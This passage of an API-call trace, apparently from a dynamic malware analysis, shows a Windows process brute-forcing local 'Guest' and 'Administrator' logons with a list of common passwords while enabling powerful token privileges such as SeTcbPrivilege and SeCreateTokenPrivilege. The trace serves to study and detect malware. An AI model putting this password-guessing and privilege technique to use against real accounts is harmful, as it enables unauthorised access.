dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.435] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="lucky", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.436] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="digital", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.437] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="a", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.437] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="thunder", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.438] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="spirit", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.438] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="bandit", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.439] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="enter", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.439] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="anthony", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.440] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="corvette", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.440] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="hockey", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.441] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="power", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.441] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="benjamin", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.442] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="iloveyou!", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.442] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="1q2w3e", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.443] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="viper", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.443] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="genesis", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.444] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="knight", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.444] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="qwerty1", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.445] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="creative", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.445] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="foobar", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.446] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="adidas", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.446] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="rotimi", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.447] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="slayer", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.447] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="wisdom", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.448] LookupPrivilegeValueA (in: lpSystemName=0x0, lpName="SeImpersonatePrivilege", lpLuid=0x12ff28 | out: lpLuid=0x12ff28*(LowPart=0x1d, HighPart=0)) returned 1 [0086.448] GetCurrentProcess () returned 0xffffffff [0086.448] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x12ff24 | out: TokenHandle=0x12ff24*=0x2d4) returned 1 [0086.448] AdjustTokenPrivileges (in: TokenHandle=0x2d4, DisableAllPrivileges=0, NewState=0x12ff14*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x1d, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0086.448] CloseHandle (hObject=0x2d4) returned 1 [0086.448] LookupPrivilegeValueA (in: lpSystemName=0x0, lpName="SeTcbPrivilege", lpLuid=0x12ff28 | out: lpLuid=0x12ff28*(LowPart=0x7, HighPart=0)) returned 1 [0086.449] GetCurrentProcess () returned 0xffffffff [0086.449] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x12ff24 | out: TokenHandle=0x12ff24*=0x2d4) returned 1 [0086.449] AdjustTokenPrivileges (in: TokenHandle=0x2d4, DisableAllPrivileges=0, NewState=0x12ff14*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x7, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0086.449] CloseHandle (hObject=0x2d4) returned 1 [0086.449] LookupPrivilegeValueA (in: lpSystemName=0x0, lpName="SeChangeNotifyPrivilege", lpLuid=0x12ff28 | out: lpLuid=0x12ff28*(LowPart=0x17, HighPart=0)) returned 1 [0086.449] GetCurrentProcess () returned 0xffffffff [0086.449] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x12ff24 | out: TokenHandle=0x12ff24*=0x2d4) returned 1 [0086.449] AdjustTokenPrivileges (in: TokenHandle=0x2d4, DisableAllPrivileges=0, NewState=0x12ff14*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x17, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0086.449] CloseHandle (hObject=0x2d4) returned 1 [0086.449] LookupPrivilegeValueA (in: lpSystemName=0x0, lpName="SeCreateTokenPrivilege", lpLuid=0x12ff28 | out: lpLuid=0x12ff28*(LowPart=0x2, HighPart=0)) returned 1 [0086.450] GetCurrentProcess () returned 0xffffffff [0086.450] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x12ff24 | out: TokenHandle=0x12ff24*=0x2d4) returned 1 [0086.450] AdjustTokenPrivileges (in: TokenHandle=0x2d4, DisableAllPrivileges=0, NewState=0x12ff14*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x2, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0086.450] CloseHandle (hObject=0x2d4) returned 1 [0086.450] LookupPrivilegeValueA (in: lpSystemName=0x0, lpName="SeBackupPrivilege", lpLuid=0x12ff28 | out: lpLuid=0x12ff28*(LowPart=0x11, HighPart=0)) returned 1 [0086.450] GetCurrentProcess () returned 0xffffffff [0086.450] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x12ff24 | out: TokenHandle=0x12ff24*=0x2d4) returned 1 [0086.450] AdjustTokenPrivileges (in: TokenHandle=0x2d4, DisableAllPrivileges=0, NewState=0x12ff14*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x11, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0086.451] CloseHandle (hObject=0x2d4) returned 1 [0086.451] LookupPrivilegeValueA (in: lpSystemName=0x0, lpName="SeRestorePrivilege", lpLuid=0x12ff28 | out: lpLuid=0x12ff28*(LowPart=0x12, HighPart=0)) returned 1 [0086.451] GetCurrentProcess () returned 0xffffffff [0086.451] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x12ff24 | out: TokenHandle=0x12ff24*=0x2d4) returned 1 [0086.451] AdjustTokenPrivileges (in: TokenHandle=0x2d4, DisableAllPrivileges=0, NewState=0x12ff14*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x12, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0086.451] CloseHandle (hObject=0x2d4) returned 1 [0086.451] LookupPrivilegeValueA (in: lpSystemName=0x0, lpName="SeIncreaseQuotaPrivilege", lpLuid=0x12ff28 | out: lpLuid=0x12ff28*(LowPart=0x5, HighPart=0)) returned 1 [0086.451] GetCurrentProcess () returned 0xffffffff [0086.452] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x12ff24 | out: TokenHandle=0x12ff24*=0x2d4) returned 1 [0086.452] AdjustTokenPrivileges (in: TokenHandle=0x2d4, DisableAllPrivileges=0, NewState=0x12ff14*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x5, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0086.452] CloseHandle (hObject=0x2d4) returned 1 [0086.452] LookupPrivilegeValueA (in: lpSystemName=0x0, lpName="SeAssignPrimaryTokenPrivilege", lpLuid=0x12ff28 | out: lpLuid=0x12ff28*(LowPart=0x3, HighPart=0)) returned 1 [0086.452] GetCurrentProcess () returned 0xffffffff [0086.452] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x12ff24 | out: TokenHandle=0x12ff24*=0x2d4) returned 1 [0086.452] AdjustTokenPrivileges (in: TokenHandle=0x2d4, DisableAllPrivileges=0, NewState=0x12ff14*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x3, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0086.452] CloseHandle (hObject=0x2d4) returned 1 [0086.452] lstrcmpiA (lpString1="EEBsYm5", lpString2="EEBsYm5") returned 0 [0086.452] LookupPrivilegeValueA (in: lpSystemName=0x0, lpName="SeImpersonatePrivilege", lpLuid=0x12ff28 | out: lpLuid=0x12ff28*(LowPart=0x1d, HighPart=0)) returned 1 [0086.453] GetCurrentProcess () returned 0xffffffff [0086.453] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x12ff24 | out: TokenHandle=0x12ff24*=0x2d4) returned 1 [0086.453] AdjustTokenPrivileges (in: TokenHandle=0x2d4, DisableAllPrivileges=0, NewState=0x12ff14*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x1d, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0086.453] CloseHandle (hObject=0x2d4) returned 1 [0086.453] LookupPrivilegeValueA (in: lpSystemName=0x0, lpName="SeTcbPrivilege", lpLuid=0x12ff28 | out: lpLuid=0x12ff28*(LowPart=0x7, HighPart=0)) returned 1 [0086.453] GetCurrentProcess () returned 0xffffffff [0086.454] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x12ff24 | out: TokenHandle=0x12ff24*=0x2d4) returned 1 [0086.454] AdjustTokenPrivileges (in: TokenHandle=0x2d4, DisableAllPrivileges=0, NewState=0x12ff14*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x7, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0086.454] CloseHandle (hObject=0x2d4) returned 1 [0086.454] LookupPrivilegeValueA (in: lpSystemName=0x0, lpName="SeChangeNotifyPrivilege", lpLuid=0x12ff28 | out: lpLuid=0x12ff28*(LowPart=0x17, HighPart=0)) returned 1 [0086.454] GetCurrentProcess () returned 0xffffffff [0086.454] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x12ff24 | out: TokenHandle=0x12ff24*=0x2d4) returned 1 [0086.454] AdjustTokenPrivileges (in: TokenHandle=0x2d4, DisableAllPrivileges=0, NewState=0x12ff14*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x17, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0086.454] CloseHandle (hObject=0x2d4) returned 1 [0086.454] LookupPrivilegeValueA (in: lpSystemName=0x0, lpName="SeCreateTokenPrivilege", lpLuid=0x12ff28 | out: lpLuid=0x12ff28*(LowPart=0x2, HighPart=0)) returned 1 [0086.455] GetCurrentProcess () returned 0xffffffff [0086.455] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x12ff24 | out: TokenHandle=0x12ff24*=0x2d4) returned 1 [0086.455] AdjustTokenPrivileges (in: TokenHandle=0x2d4, DisableAllPrivileges=0, NewState=0x12ff14*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x2, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0086.455] CloseHandle (hObject=0x2d4) returned 1 [0086.455] LookupPrivilegeValueA (in: lpSystemName=0x0, lpName="SeBackupPrivilege", lpLuid=0x12ff28 | out: lpLuid=0x12ff28*(LowPart=0x11, HighPart=0)) returned 1 [0086.455] GetCurrentProcess () returned 0xffffffff [0086.455] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x12ff24 | out: TokenHandle=0x12ff24*=0x2d4) returned 1 [0086.455] AdjustTokenPrivileges (in: TokenHandle=0x2d4, DisableAllPrivileges=0, NewState=0x12ff14*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x11, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0086.455] CloseHandle (hObject=0x2d4) returned 1 [0086.455] LookupPrivilegeValueA (in: lpSystemName=0x0, lpName="SeRestorePrivilege", lpLuid=0x12ff28 | out: lpLuid=0x12ff28*(LowPart=0x12, HighPart=0)) returned 1 [0086.456] GetCurrentProcess () returned 0xffffffff [0086.456] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x12ff24 | out: TokenHandle=0x12ff24*=0x2d4) returned 1 [0086.456] AdjustTokenPrivileges (in: TokenHandle=0x2d4, DisableAllPrivileges=0, NewState=0x12ff14*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x12, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0086.456] CloseHandle (hObject=0x2d4) returned 1 [0086.456] LookupPrivilegeValueA (in: lpSystemName=0x0, lpName="SeIncreaseQuotaPrivilege", lpLuid=0x12ff28 | out: lpLuid=0x12ff28*(LowPart=0x5, HighPart=0)) returned 1 [0086.456] GetCurrentProcess () returned 0xffffffff [0086.456] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x12ff24 | out: TokenHandle=0x12ff24*=0x2d4) returned 1 [0086.456] AdjustTokenPrivileges (in: TokenHandle=0x2d4, DisableAllPrivileges=0, NewState=0x12ff14*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x5, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0086.456] CloseHandle (hObject=0x2d4) returned 1 [0086.457] LookupPrivilegeValueA (in: lpSystemName=0x0, lpName="SeAssignPrimaryTokenPrivilege", lpLuid=0x12ff28 | out: lpLuid=0x12ff28*(LowPart=0x3, HighPart=0)) returned 1 [0086.457] GetCurrentProcess () returned 0xffffffff [0086.457] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x12ff24 | out: TokenHandle=0x12ff24*=0x2d4) returned 1 [0086.457] AdjustTokenPrivileges (in: TokenHandle=0x2d4, DisableAllPrivileges=0, NewState=0x12ff14*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x3, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0086.457] CloseHandle (hObject=0x2d4) returned 1 [0086.457] lstrcmpiA (lpString1="EEBsYm5", lpString2="Administrator") returned 1 [0086.457] LogonUserA (in: lpszUsername="Administrator", lpszDomain=0x0, lpszPassword="Administrator", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.458] lstrlenA (lpString="Administrator") returned 13 [0086.458] LocalAlloc (uFlags=0x40, uBytes=0x8e) returned 0x665818 [0086.458] lstrcpyA (in: lpString1=0x665818, lpString2="Administrator" | out: lpString1="Administrator") returned="Administrator" [0086.458] lstrlenA (lpString="Administrator") returned 13 [0086.458] LCMapStringA (in: Locale=0x400, dwMapFlags=0x100, lpSrcStr="Administrator", cchSrc=13, lpDestStr=0x665818, cchDest=13 | out: lpDestStr="administrator") returned 13 [0086.458] LogonUserA (in: lpszUsername="Administrator", lpszDomain=0x0, lpszPassword="administrator", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.459] LocalFree (hMem=0x665818) returned 0x0 [0086.459] LogonUserA (in: lpszUsername="Administrator", lpszDomain=0x0, lpszPassword="123456", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.459] LogonUserA (in: lpszUsername="Administrator", lpszDomain=0x0, lpszPassword="password", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.460] LogonUserA (in: lpszUsername="Administrator", lpszDomain=0x0, lpszPassword="phpbb", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.460] LogonUserA (in: lpszUsername="Administrator", lpszDomain=0x0, lpszPassword="qwerty", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.461] LogonUserA (in: lpszUsername="Administrator", lpszDomain=0x0, lpszPassword="12345", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.461] LogonUserA (in: lpszUsername="Administrator", lpszDomain=0x0, lpszPassword="jesus", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.462] LogonUserA (in: lpszUsername="Administrator", lpszDomain=0x0, lpszPassword="12345678", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.462] LogonUserA (in: lpszUsername="Administrator", lpszDomain=0x0, lpszPassword="1234", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.463] LogonUserA (in: lpszUsername="Administrator", lpszDomain=0x0, lpszPassword="abc123", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.463] LogonUserA (in: lpszUsername="Administrator", lpszDomain=0x0, lpszPassword="letmein", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.463] LogonUserA (in: lpszUsername="Administrator", lpszDomain=0x0, lpszPassword="test", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.464] LogonUserA (in: lpszUsername="Administrator", lpszDomain=0x0, lpszPassword="love", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.464] LogonUserA (in: lpszUsername="Administrator", lpszDomain=0x0, lpszPassword="123", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.465] LogonUserA (in: lpszUsername="Administrator", lpszDomain=0x0, lpszPassword="password1", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.465] LogonUserA (in: lpszUsername="Administrator", lpszDomain=0x0, lpszPassword="hello", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.466] LogonUserA (in: lpszUsername="Administrator", lpszDomain=0x0, lpszPassword="monkey", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.466] LogonUserA (in: lpszUsername="Administrator", lpszDomain=0x0, lpszPassword="dragon", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.467] LogonUserA (in: lpszUsername="Administrator", lpszDomain=0x0, lpszPassword="trustno1", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.468] LogonUserA (in: lpszUsername="Administrator", lpszDomain=0x0, lpszPassword="111111", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.468] LogonUserA (in: lpszUsername="Administrator", lpszDomain=0x0, lpszPassword="iloveyou", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.469] LogonUserA (in: lpszUsername="Administrator", lpszDomain=0x0, lpszPassword="1234567", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.469] LogonUserA (in: lpszUsername="Administrator", lpszDomain=0x0, lpszPassword="shadow", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.469] LogonUserA (in: lpszUsername="Administrator", lpszDomain=0x0, lpszPassword="123456789", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.470] LogonUserA (in: lpszUsername="Administrator", lpszDomain=0x0, lpszPassword="christ", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.470] LogonUserA (in: lpszUsername="Administrator", lpszDomain=0x0, lpszPassword="sunshine", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.471] LogonUserA (in: lpszUsername="Administrator", lpszDomain=0x0, lpszPassword="master", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.471] LogonUserA (in: lpszUsername="Administrator", lpszDomain=0x0, lpszPassword="computer", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.472] LogonUserA (in: lpszUsername="Administrator", lpszDomain=0x0, lpszPassword="princess", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.472] LogonUserA (in: lpszUsername="Administrator", lpszDomain=0x0, lpszPassword="tigger", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.473] LogonUserA (in: lpszUsername="Administrator", lpszDomain=0x0, lpszPassword="football", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.474] LogonUserA (in: lpszUsername="Administrator", lpszDomain=0x0, lpszPassword="angel", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.474] LogonUserA (in: lpszUsername="Administrator", lpszDomain=0x0, lpszPassword="jesus1", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.475] LogonUserA (in: lpszUsername="Administrator", lpszDomain=0x0, lpszPassword="123123", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.475] LogonUserA (in: lpszUsername="Administrator", lpszDomain=0x0, lpszPassword="whatever", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.476] LogonUserA (in: lpszUsername="Administrator", lpszDomain=0x0, lpszPassword="freedom", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.476] LogonUserA (in: lpszUsername="Administrator", lpszDomain=0x0, lpszPassword="killer", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.477] LogonUserA (in: lpszUsername="Administrator", lpszDomain=0x0, lpszPassword="asdf", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.477] LogonUserA (in: lpszUsername="Administrator", lpszDomain=0x0, lpszPassword="soccer", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.478] LogonUserA (in: lpszUsername="Administrator", lpszDomain=0x0, lpszPassword="superman", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.478] LogonUserA (in: lpszUsername="Administrator", lpszDomain=0x0, lpszPassword="michael", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.479] LogonUserA (in: lpszUsername="Administrator", lpszDomain=0x0, lpszPassword="cheese", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.479] LogonUserA (in: lpszUsername="Administrator", lpszDomain=0x0, lpszPassword="internet", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.480] LogonUserA (in: lpszUsername="Administrator", lpszDomain=0x0, lpszPassword="joshua", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.480] LogonUserA (in: lpszUsername="Administrator", lpszDomain=0x0, lpszPassword="fuckyou", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.481] LogonUserA (in: lpszUsername="Administrator", lpszDomain=0x0, lpszPassword="blessed", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.481] LogonUserA (in: lpszUsername="Administrator", lpszDomain=0x0, lpszPassword="baseball", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.482] LogonUserA (in: lpszUsername="Administrator", lpszDomain=0x0, lpszPassword="starwars", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.482] LogonUserA (in: lpszUsername="Administrator", 